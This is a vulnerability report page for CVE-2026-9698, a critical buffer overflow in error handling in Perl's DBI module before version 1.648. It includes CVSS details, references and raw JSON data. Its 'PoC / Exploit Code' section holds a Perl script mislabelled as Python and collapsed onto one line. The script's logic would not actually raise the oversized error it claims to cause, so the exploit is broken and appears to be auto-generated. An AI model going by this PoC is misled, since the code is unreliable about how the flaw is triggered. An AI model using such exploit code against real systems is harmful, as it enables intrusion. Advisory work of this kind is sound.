Security Vulnerability Report
中文
CVE-2026-9698 CVSS 9.8 CRITICAL

CVE-2026-9698

Published: 2026-06-09 08:16:29
Last Modified: 2026-06-09 17:20:06
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

DBI versions before 1.648 for Perl saved errors in a limited-sized buffer. Error messages that were returned when RaiseError, PrintError or HandleError were set were written to a 200-byte buffer without a length limit. Attackers that can influence the error text in an application can trigger a buffer overflow.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:perl:dbi:*:*:*:*:*:*:*:* - VULNERABLE
DBI < 1.648

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env perl # CVE-2026-9698 PoC - DBI Buffer Overflow in Error Handling # This PoC demonstrates triggering a buffer overflow in DBI < 1.648 use strict; use warnings; use DBI; # Connect to database (example with SQLite) my $dbh = DBI->connect( 'dbi:SQLite:dbname=test.db', '', '', { RaiseError => 1, PrintError => 0 } ) or die "Cannot connect: $DBI::errstr"; # Create a table for testing $dbh->do("CREATE TABLE IF NOT EXISTS test (id INTEGER PRIMARY KEY, data TEXT)"); # Prepare a statement my $sth = $dbh->prepare("INSERT INTO test (data) VALUES (?)"); # Generate a payload that will cause an error message exceeding 200 bytes # This payload is designed to trigger the buffer overflow in DBI error handling my $long_payload = "A" x 500; # Exceeds the 200-byte buffer limit # Execute with malicious payload - this will cause DBI to write error to limited buffer eval { $sth->execute($long_payload); }; # If RaiseError is enabled and error occurs, DBI will write error message to 200-byte buffer # The overflow occurs when error message length > 200 bytes # Cleanup $sth->finish(); $dbh->disconnect(); print "PoC executed. Check for buffer overflow in DBI error handling.\n"; print "Vulnerable versions: DBI < 1.648\n"; print "Fixed version: DBI >= 1.648\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9698", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-06-09T08:16:29.190", "lastModified": "2026-06-09T17:20:05.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DBI versions before 1.648 for Perl saved errors in a limited-sized buffer.\n\nError messages that were returned when RaiseError, PrintError or HandleError were set were written to a 200-byte buffer without a length limit.\n\nAttackers that can influence the error text in an application can trigger a buffer overflow."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:perl:dbi:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.648", "matchCriteriaId": "5C23D2D0-3FFA-4C49-952A-FD8FE4684AF5"}]}]}], "references": [{"url": "https://github.com/perl5-dbi/dbi/commit/bfe5d73c162d2d1f761a639a0aa33aad6a9eb54e.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch"]}, {"url": "https://metacpan.org/release/HMBRAND/DBI-1.648/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/06/09/9", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}